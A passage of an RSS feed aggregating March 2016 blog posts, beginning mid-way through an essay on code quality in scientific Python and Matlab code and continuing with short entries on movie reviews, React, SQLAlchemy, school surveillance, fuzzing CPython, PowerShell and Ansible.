                     &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;specsize&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;angular_frequency&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;
                     &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;angular_frequency&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# since sin(x) == x for small x, the above expression&lt;/span&gt;
    &lt;span class="c1"&gt;# evaluates to specsize for angular_frequency == 0.&lt;/span&gt;
    &lt;span class="n"&gt;spectrum&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;angular_frequency&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mf"&gt;0.0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;specsize&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;spectrum&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A lot of my scientific code ends up quite compact like that. Maybe a hundred lines of dense numeric expressions, plus a few hundred lines of explanations and documentation. The point is, scientific code often does not decompose into easily understood extractable functions.&lt;/p&gt;
&lt;p&gt;On a related issue, how do you avoid long argument lists in heavily parametrized equations? As Clean Code states, &amp;quot;when a function seems to need more than two or three arguments, it is likely that some of those arguments ought to be wrapped in a class of their own&amp;quot;. However, in Matlab in particular, it is quite unusual to create small one-trick classes to encapsulate a few function arguments:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;classdef&lt;/span&gt; &lt;span class="n"&gt;SignalBlocks&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;
    &lt;span class="k"&gt;properties&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt;
        &lt;span class="n"&gt;samplerate&lt;/span&gt;
        &lt;span class="n"&gt;blocksize&lt;/span&gt;
        &lt;span class="n"&gt;hopsize&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
    &lt;span class="k"&gt;properties&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Dependent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;duration&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
    &lt;span class="k"&gt;methods&lt;/span&gt;
        &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;SignalBlock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;samplerate&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;blocksize&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hopsize&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="c"&gt;% blocksize and hopsize are optional. What a mess.&lt;/span&gt;
            &lt;span class="n"&gt;narginchk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;samplerate&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;samplerate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;nargin&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
                &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;blocksize&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;blocksize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;
                &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;blocksize&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2048&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;end&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nb"&gt;nargin&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;
                &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hopsize&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="n"&gt;hopsize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;else&lt;/span&gt;
                &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;hopsize&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
            &lt;span class="k"&gt;end&lt;/span&gt;
        &lt;span class="k"&gt;end&lt;/span&gt;
        &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="nb"&gt;time&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="k"&gt;get&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nb"&gt;time&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;samplerate&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;end&lt;/span&gt;
    &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This is not just cumbersome to write and maintain, it is also slower than passing &lt;code&gt;data&lt;/code&gt;, &lt;code&gt;samplerate&lt;/code&gt;, &lt;code&gt;blocksize&lt;/code&gt;, and &lt;code&gt;hopsize&lt;/code&gt; to each function call individually (although the overhead has gotten considerably smaller in newer versions of Matlab). Additionally, there is often a large performance benefit of &lt;em&gt;not&lt;/em&gt; extracting every function and &lt;em&gt;not&lt;/em&gt; keeping intermediate values in variables. Thus, it's not just readability that is hard to maintain in scientific code. Performance is a problem, too.&lt;/p&gt;
&lt;p&gt;The sad thing is, I don't know the answer to these questions. There have been a lot of discussions about coding style and code quality in our department lately, with the clear objective to clean up our code. But common code quality criteria don't seem to apply to scientific code all that well.&lt;/p&gt;
&lt;p&gt;Do you have any idea how to progress from here?&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Sun, 13 Mar 2016 11:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2016-03-13-code-quality-in-scientific-code.html</guid></item><item><title>10 Cloverfield Lane</title><link>https://olshansky.info/movie/10_cloverfield_lane/</link><description>Olshansky's review of 10 Cloverfield Lane</description><author>🦉 olshansky 🦁</author><pubDate>Sun, 13 Mar 2016 10:39:28 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/10_cloverfield_lane/</guid></item><item><title>Zebrawood Pen</title><link>https://june.kim/zebrawood-pen/</link><author>june.kim</author><pubDate>Sun, 13 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/zebrawood-pen/</guid></item><item><title>Getting Started with React, Redux and Immutable: a Test-Driven TodoMVC Tutorial (Part 1)</title><link>https://phacks.dev/articles/getting-started-with-react-redux-and-immutable-a-test-driven-todomvc-tutorial-part-1</link><description>What follows is the first part of a tutorial that will hopefully guide you to the principles of the Redux way of doing things©.</description><author>Nicolas Goutay</author><pubDate>Sun, 13 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://phacks.dev/articles/getting-started-with-react-redux-and-immutable-a-test-driven-todomvc-tutorial-part-1</guid></item><item><title>How to squash work-in-progress migrations</title><link>https://goshacmd.com/squash-clutter-migrations/</link><author>Gosha Spark</author><pubDate>Sun, 13 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/squash-clutter-migrations/</guid></item><item><title>Room</title><link>https://olshansky.info/movie/room/</link><description>Olshansky's review of Room</description><author>🦉 olshansky 🦁</author><pubDate>Sat, 12 Mar 2016 11:16:41 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/room/</guid></item><item><title>Ray Tracing with Functional Languages</title><link>https://www.anardil.net/2016/ray-tracing-with-functional-languages.html</link><description>&lt;p&gt;The advantages of using the functional paradigm with ray tracing.&lt;/p&gt;</description><author>Anardil</author><pubDate>Sat, 12 Mar 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://www.anardil.net/2016/ray-tracing-with-functional-languages.html</guid></item><item><title>Simple React slider with touch support</title><link>https://muffinman.io/blog/simple-react-slider/</link><description>&lt;article class="article"&gt;&lt;p&gt;I needed simple React slider component, as we are building our new website as a universal React application.
But I did not find anything lightweight. There is a crazy trend in JavaScript world - add gazillion dependencies.&lt;/p&gt;
&lt;p&gt;So again, I made something myself.&lt;/p&gt;
&lt;figure class="image__figure image__figure--transparent"&gt;&lt;img alt="Demo - React slider with touch support" height="652" src="./react-slider.png" width="1360" /&gt;&lt;/figure&gt;
&lt;p&gt;Check the &lt;a href="https://muffinman.io/react-slider/"&gt;demo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It has &lt;b&gt;no dependencies&lt;/b&gt;, and about 200 lines of code.
Very simple and extensible. Every modern browser is supported and IE10+.&lt;/p&gt;
&lt;p&gt;IE9 should work (if you adapt the CSS), but I didn&amp;#x27;t test it.&lt;/p&gt;
&lt;p&gt;Grab the code on &lt;a href="https://github.com/Stanko/react-slider"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;&lt;/article&gt;</description><author>Muffin Man</author><pubDate>Sat, 12 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://muffinman.io/blog/simple-react-slider/</guid></item><item><title>B27 / Berlin 2013</title><link>https://rybakov.com/blog/b27/</link><description>&lt;p&gt;It was summer 2013, and Christoph asked me to film a documentary for B27, a choreography for finding home.   Well, it is now that I understand that it was a choreography about finding home - at that point it was just a ragtag team of misfits: dancers, actors and a screenwriter, put in a room in Berlin, with three weeks time to find a piece to perform. And Franz Rogowski, who was trying to direct us.&lt;/p&gt;
&lt;p&gt;Naturally, we started out by making a photoshoot for a poster for the non-existing play:&lt;/p&gt;
&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="b27_photoshoot" loop="true" poster="/video/b27_photoshoot/b27_photoshoot.jpg"&gt;
      &lt;source src="../video/b27_photoshoot/b27_photoshoot.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="b27_photoshootbuffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="b27_photoshootpaused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;The play itself was to be discovered through experimentation, finding pieces that may work and combining them.&lt;br /&gt;
One of the things that were found was.. voluntary convulsions.&lt;/p&gt;
&lt;p&gt;My guess is that you can not find home - any home - without being at home in your own body. A body is defined by it&amp;rsquo;s borders, by it&amp;rsquo;s freedom of movement.&lt;br /&gt;
And the ultimate self-movements of the body are exactly that - convulsions. Convulsions let you reevaluate your bodily borders and limits of control.&lt;/p&gt;
&lt;p&gt;But see for yourself:&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Fri, 11 Mar 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/b27/</guid></item><item><title>Real Life .NET Cross Platform</title><link>https://nicolaiarocci.com/real-life-net-cross-platform/</link><description>&lt;p&gt;There is a new episode up at Channel9 TecHeroes. It is called &lt;a href="https://channel9.msdn.com/Shows/TecHeroes/TecHeroes-Real-Life-Net-Cross-Platform"&gt;Real Life .NET Cross Platform&lt;/a&gt; and it is about developing production-ready, cross-platform applications with today’s .NET. In the interview we talk about &lt;a href="https://github.com/CIR2000/Amica.vNext.SimpleCache"&gt;SimpleCache&lt;/a&gt;, an asynchronous, permanent and cross-platform key-value object cache powered by SQLite3. The project is still a work in progress so there is no NuGet package available yet, but it is quite usable already. The &lt;a href="https://speakerdeck.com/nicola/real-life-net-cross-platform"&gt;talk slides&lt;/a&gt; are also available.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Fri, 11 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/real-life-net-cross-platform/</guid></item><item><title>Die Magisterprüfung</title><link>https://rybakov.com/blog/julie/</link><description>&lt;div class="video-wrapper"&gt;
  &lt;video class="looped  " controls="controls" id="julie7" loop="true" poster="/video/julie7/julie7.jpg"&gt;
      &lt;source src="../video/julie7/julie7.mp4" type="video/mp4" /&gt;
  &lt;/video&gt;
  &lt;div class="videobuffering" id="julie7buffering"&gt;&lt;/div&gt;
  &lt;div class="videopaused" id="julie7paused"&gt;&lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Aus der Magisterprüfung der Julia Emmler.&lt;br /&gt;
Jetzt neu - man kann die Videos mit Sound anschauen. Es lohnt sich!&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Thu, 10 Mar 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/julie/</guid></item><item><title>Memoirs of a Geisha</title><link>https://apurva-shukla.me/bookshelf/memoirs-of-a-geisha/</link><description>⭐ ⭐ ⭐ ⭐ ⭐ An absolute classic.

You get swept under his words like a wave, yet you’re for some reason - glad to be drowning in this story.</description><author>Apurva Shukla's RSS Feed</author><pubDate>Thu, 10 Mar 2016 07:35:22 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/memoirs-of-a-geisha/</guid></item><item><title>Database bookmarks</title><link>https://xenodium.com/database-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://grimoire.ca/mysql/choose-something-else"&gt;Considering MySQL? Use something else&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.columbia.edu/~fdc/postal/"&gt;Frank's compulsive guide to postal addresses&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 10 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/database-bookmarks</guid></item><item><title>Essence</title><link>https://june.kim/essence/</link><author>june.kim</author><pubDate>Thu, 10 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/essence/</guid></item><item><title>Announcing MicroBus 3</title><link>https://daniellittle.dev/announcing-microbus-3</link><description>Awesome! MicroBus 3, what does that mean? Well, I've been using Semver (mostly, sometimes a little Ferver creeps in) for my package versions…</description><author>Daniel Little Dev</author><pubDate>Wed, 09 Mar 2016 22:47:00 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/announcing-microbus-3</guid></item><item><title>The perfect notebook system for getting things done</title><link>https://snevsky.com/blog/pocket-notebook</link><description>I accidentally invented the single best system to keep a pocket notebook. It turns out it’s really not so difficult at all. In fact, it turns out that a system isn’t even necessary.</description><author>Serge Nevsky</author><pubDate>Wed, 09 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://snevsky.com/blog/pocket-notebook</guid></item><item><title>Links - March 9th, 2016</title><link>https://faingezicht.com/links/2016/03/09/links/</link><description/><author>Avy Faingezicht</author><pubDate>Wed, 09 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/09/links/</guid></item><item><title>A geo database for polygons, optimization</title><link>https://blog.nobugware.com/post/2016/geo_db_s2_region_polygon_optmization/</link><description>If you read this blog, you know I&amp;rsquo;ve recently released a project called regionagogo, a geo shape lookup database, described in this blogpost.
It uses the current Go S2 implementation, which is not yet as complete as the C++ implementation, for example the region coverer of a shape does not really compute cell around the shape but around the bounding box instead.
Using the shape of the polygon makes the covered cells more precise and smaller, resulting at the end to less PIP tests which are costly.</description><author>Fabrice Aneche</author><pubDate>Tue, 08 Mar 2016 18:23:42 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2016/geo_db_s2_region_polygon_optmization/</guid></item><item><title>WarGames</title><link>https://olshansky.info/movie/wargames/</link><description>Olshansky's review of WarGames</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 08 Mar 2016 18:13:48 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/wargames/</guid></item><item><title>Links - March 8th, 2016</title><link>https://faingezicht.com/links/2016/03/08/links/</link><description/><author>Avy Faingezicht</author><pubDate>Tue, 08 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/08/links/</guid></item><item><title>Liar's Poker</title><link>https://olshansky.info/book/liars_poker/</link><description>Olshansky's review of Liar's Poker by Michael Lewis</description><author>🦉 olshansky 🦁</author><pubDate>Tue, 08 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/liars_poker/</guid></item><item><title>[Computing] The Cultural Defeat of Microsoft</title><link>https://www.devever.net/~hl/windowsdefeat</link><description>&lt;p&gt;In computing there are two mainstream worlds; that of POSIX, and that of
Windows. Linux, BSD, OS X, et al. all are of the POSIX world. Even
operating systems like Android use POSIX kernels, although they don't
use a POSIX-like userland.&lt;/p&gt;</description><author>devever.net/~hl</author><pubDate>Tue, 08 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.devever.net/~hl/windowsdefeat</guid></item><item><title>Wooden chopsticks</title><link>https://june.kim/wooden-chopsticks/</link><author>june.kim</author><pubDate>Mon, 07 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://june.kim/wooden-chopsticks/</guid></item><item><title>Links - March 7th, 2016</title><link>https://faingezicht.com/links/2016/03/07/links/</link><description/><author>Avy Faingezicht</author><pubDate>Mon, 07 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/03/07/links/</guid></item><item><title>Successful teams</title><link>https://www.craigpardey.com/post/2016-03-07-successful-teams/</link><description>&lt;p&gt;There&amp;rsquo;s nothing that beats the feeling of being part of an exceptional team and yet it is strangely difficult to define exactly what makes one team great and another team not-so-great. Google recently set out to learn how to &lt;a href="http://www.nytimes.com/2016/02/28/magazine/what-google-learned-from-its-quest-to-build-the-perfect-team.html" title="Build the perfect team"&gt;build the perfect team&lt;/a&gt; and came up with some interesting, albeit previously discovered, answers.&lt;/p&gt;
&lt;p&gt;To summarize their findings, Google&amp;rsquo;s Project Aristotle concluded that on good teams:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;All team members spoke roughly the same amount, and&lt;/li&gt;
&lt;li&gt;Team members were empathetic towards each other&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Harvard Business School&amp;rsquo;s professor Amy Edmondson described this as &amp;ldquo;a sense of confidence that the team will not embarrass, reject or punish someone for speaking up&amp;rdquo;.  This may seem obvious until you find yourself on a team that crucifies anyone for speaking their mind.  I have experienced those teams first hand, and believe me, they&amp;rsquo;re no fun.  Conversations become antagonistic and argumentative and the team dynamic rapidly degrades.&lt;/p&gt;</description><author>Craig Pardey</author><pubDate>Mon, 07 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://www.craigpardey.com/post/2016-03-07-successful-teams/</guid></item><item><title>Surveillance, Schools, and Our Children</title><link>https://ntietz.com/blog/surveillance-schools-and-our-children/?utm_source=atom&amp;utm_medium=feed</link><description>&lt;p&gt;In 2010, the news broke that Harriton High School, in a suburb of Philadelphia, was &lt;a href="https://web.archive.org/web/20160113065213/http://www.huffingtonpost.com/2010/02/22/harriton-high-school-admi_n_471321.html"&gt;activating webcams on student laptops&lt;/a&gt;&lt;a href="https://ntietz.com/blog/surveillance-schools-and-our-children/#footnote-1"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt;. When they were at home. &lt;strong&gt;In their bedrooms&lt;/strong&gt;. They captured photos while students were in private spaces, where they never expected to be watched.&lt;/p&gt;
&lt;p&gt;A few days ago, I heard about another school that is also surveilling their students: &lt;a href="http://www.newyorker.com/magazine/2016/03/07/altschools-disrupted-education"&gt;AltSchool&lt;/a&gt;. They are taking a very different approach: the cameras are visible and are there to help improve education, to conduct research and find out how to more effectively educate our students.&lt;/p&gt;
&lt;p&gt;On the face of it, it looks like AltSchool is doing something noble. At the very least, the surface level does not appear to be immoral, let alone nearly as repugnant as what was done at Harriton High School. And in some ways, that is true: the surveillance itself does not appear to be leading to negatives here, and it passes the minimum bar of informing all involved parties.&lt;/p&gt;
&lt;p&gt;However, there is an insidious side effect, and one which is far worse: it will acclimate the students to a surveillance state. In our society we are fighting a battle for our privacy right now, and in many ways, the next generation will be the one to seal the deal. Either they will embrace and extend privacy tools and policy, or they will embrace and extend government and corporate surveillance. By exposing our children to pervasive surveillance during their most formative years, we risk permanently shifting the balance toward surveillance and numbing our children to its dangers.&lt;/p&gt;
&lt;p&gt;Don't get me wrong, I think that there is room for massive improvement in education. However, the solution ought to include positive new technology, like better &lt;a href="https://www.duolingo.com/"&gt;adaptive learning&lt;/a&gt; tools. We are better than this. We can innovate and create great new tools that will help, or even revolutionize, our children's education. But if we want to do that, we need to do it ethically and ensure that we do not accidentally harm society while trying to help it.&lt;/p&gt;
&lt;p&gt;The ACM has a &lt;a href="http://www.acm.org/about/se-code"&gt;code of ethics&lt;/a&gt; for software engineers. From it: &lt;em&gt;"Approve software only if they have a well-founded belief that it is safe, meets specifications, passes appropriate tests, and does not diminish quality of life, diminish privacy or harm the environment. The ultimate effect of the work should be to the public good."&lt;/em&gt;&lt;a href="https://ntietz.com/blog/surveillance-schools-and-our-children/#footnote-2"&gt;&lt;sup&gt; 2&lt;/sup&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I welcome you to think and comment about this: if we subject our children to pervasive surveillance, will that lead to less privacy? Is that to the public good?&lt;/p&gt;
&lt;p&gt;+++&lt;/p&gt;
&lt;p&gt;&lt;a id="footnote-1"&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/a&gt; More information is available on &lt;a href="https://en.wikipedia.org/wiki/Robbins_v._Lower_Merion_School_District#Covert_surveillance"&gt;Wikipedia&lt;/a&gt;. &lt;br /&gt;
&lt;a id="footnote-2"&gt;&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt; I tried to put this as a block quote in my Markdown, but it wasn't rendering as one -- anyone know how to get that working? Is it a problem with my theme?&lt;/p&gt;</description><author>ntietz.com blog - technically a blog</author><pubDate>Mon, 07 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ntietz.com/blog/surveillance-schools-and-our-children/?utm_source=atom&amp;utm_medium=feed</guid></item><item><title>Auto-timestamping SQLAlchemy entities</title><link>https://blog.tafkas.net/2016/03/07/auto-timestamping-sqlalchemy-entities/</link><description>There are a lot of cases when we want to track time when an entity was created or updated. Here is a simple recipe to make some or all of your SQLAlchemy entities auto-timestamping. To achieve this, we will provide a mixin class.
from datetime import datetime from sqlalchemy import Column, DateTime, event class TimeStampMixin(object): &amp;quot;&amp;quot;&amp;quot; Timestamping mixin &amp;quot;&amp;quot;&amp;quot; created_at = Column(DateTime, default=datetime.utcnow) created_at._creation_order = 9998 updated_at = Column(DateTime, default=datetime.utcnow) updated_at.</description><author>Tafkas Blog</author><pubDate>Mon, 07 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.tafkas.net/2016/03/07/auto-timestamping-sqlalchemy-entities/</guid></item><item><title>Segfaulting Python with afl-fuzz</title><link>https://tomforb.es/blog/segfaulting-python-with-afl-fuzz/</link><description>American Fuzzy Lop is both a really cool tool for fuzzing programs and an adorable breed of bunny. In this post I’m going to show you how to get the the tool (rather than the rabbit) up and running and find some crashes in the cPython interpreter. Fuzzing? Explaining in detail what fuzzing is would ...</description><author>Tom Forbes</author><pubDate>Mon, 07 Mar 2016 00:31:37 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/segfaulting-python-with-afl-fuzz/</guid></item><item><title>Vor einem Jahr auf Rügen</title><link>https://rybakov.com/blog/rugen/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_P2M1566s.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;Vor einem Jahr auf Rügen war es so kalt,&lt;br /&gt;
vor einem Jahr auf Rügen war es so kalt, dass der Sanddornsaft einfror in der Verpackung, wenn man ihn draußen gelassen hat.&lt;br /&gt;
Es war so kalt, dass der Laub bei jedem Schritt in Staub zerfiel, den ganzen Wald erschütternd.&lt;br /&gt;
So kalt, dass die Dunkelheit sich nicht traute zu kommen, wartete nebenan den ganzen Tag lang, und wenn sie dann endlich kam, fiel sie in Flocken vom Himmel.&lt;br /&gt;
Es war so kalt, dass man beim Gehen nur die Mitte des Körpers verwenden konnte; die Periphärie war vor Kälte erstarrt.&lt;/p&gt;
&lt;p&gt;Vor einem Jahr auf Rügen war es so kalt, dass ich mich nicht traute, deine Hand zu nehmen, und so bist du mir vorweg gegangen, samt Hand.&lt;/p&gt;
&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/rugen.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;Manchmal war es aber auch recht warm.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Sun, 06 Mar 2016 22:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/rugen/</guid></item><item><title>Python tips backlog</title><link>https://xenodium.com/python-tips-backlog</link><description>&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://news.ycombinator.com/item?id=11210370"&gt;A Better Pip Workflow (Hacker News)&lt;/a&gt;.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 06 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/python-tips-backlog</guid></item><item><title>Are you a Rails developer and afraid of SQL? Don't be!</title><link>https://goshacmd.com/rails-developers-dont-be-afraid-of-sql/</link><author>Gosha Spark</author><pubDate>Sun, 06 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/rails-developers-dont-be-afraid-of-sql/</guid></item><item><title>PowerShell Essentials for SysAdmins</title><link>https://jasoneckert.github.io/myblog/powershell-essentials-for-sysadmins/</link><description>&lt;p&gt;PowerShell is essentially a scripting language and shell (command prompt) that you can use on Windows systems.  It’s basically Microsoft’s way of getting a powerful UNIX/Linux/Mac-like shell on the Windows platform (long overdue!).  The first versions of PowerShell were pretty horrific, but it’s come a long way since then.  PowerShell v4 and later is pretty decent (Win10 comes with PowerShell v5).  Luckily, PowerShell v4 comes with Windows Server 2012, and since this post is geared towards sysadmins, I’ll focus everything on Windows Server 2012.&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Sun, 06 Mar 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/powershell-essentials-for-sysadmins/</guid></item><item><title>Testing multiple Ansible versions on Travis</title><link>https://www.zufallsheld.de/2016/03/05/testing-multiple-ansible-versions-on-travis/</link><description>&lt;p&gt;Most people are probably already aware of this fact, but you can test your Ansible-roles on multiple Ansible versions (e.g. 1.9 and 2.0) with the help of &lt;a href="http://travis-ci.org/"&gt;Travis&lt;/a&gt;.&lt;/p&gt;
&lt;!-- PELICAN_END_SUMMARY --&gt;

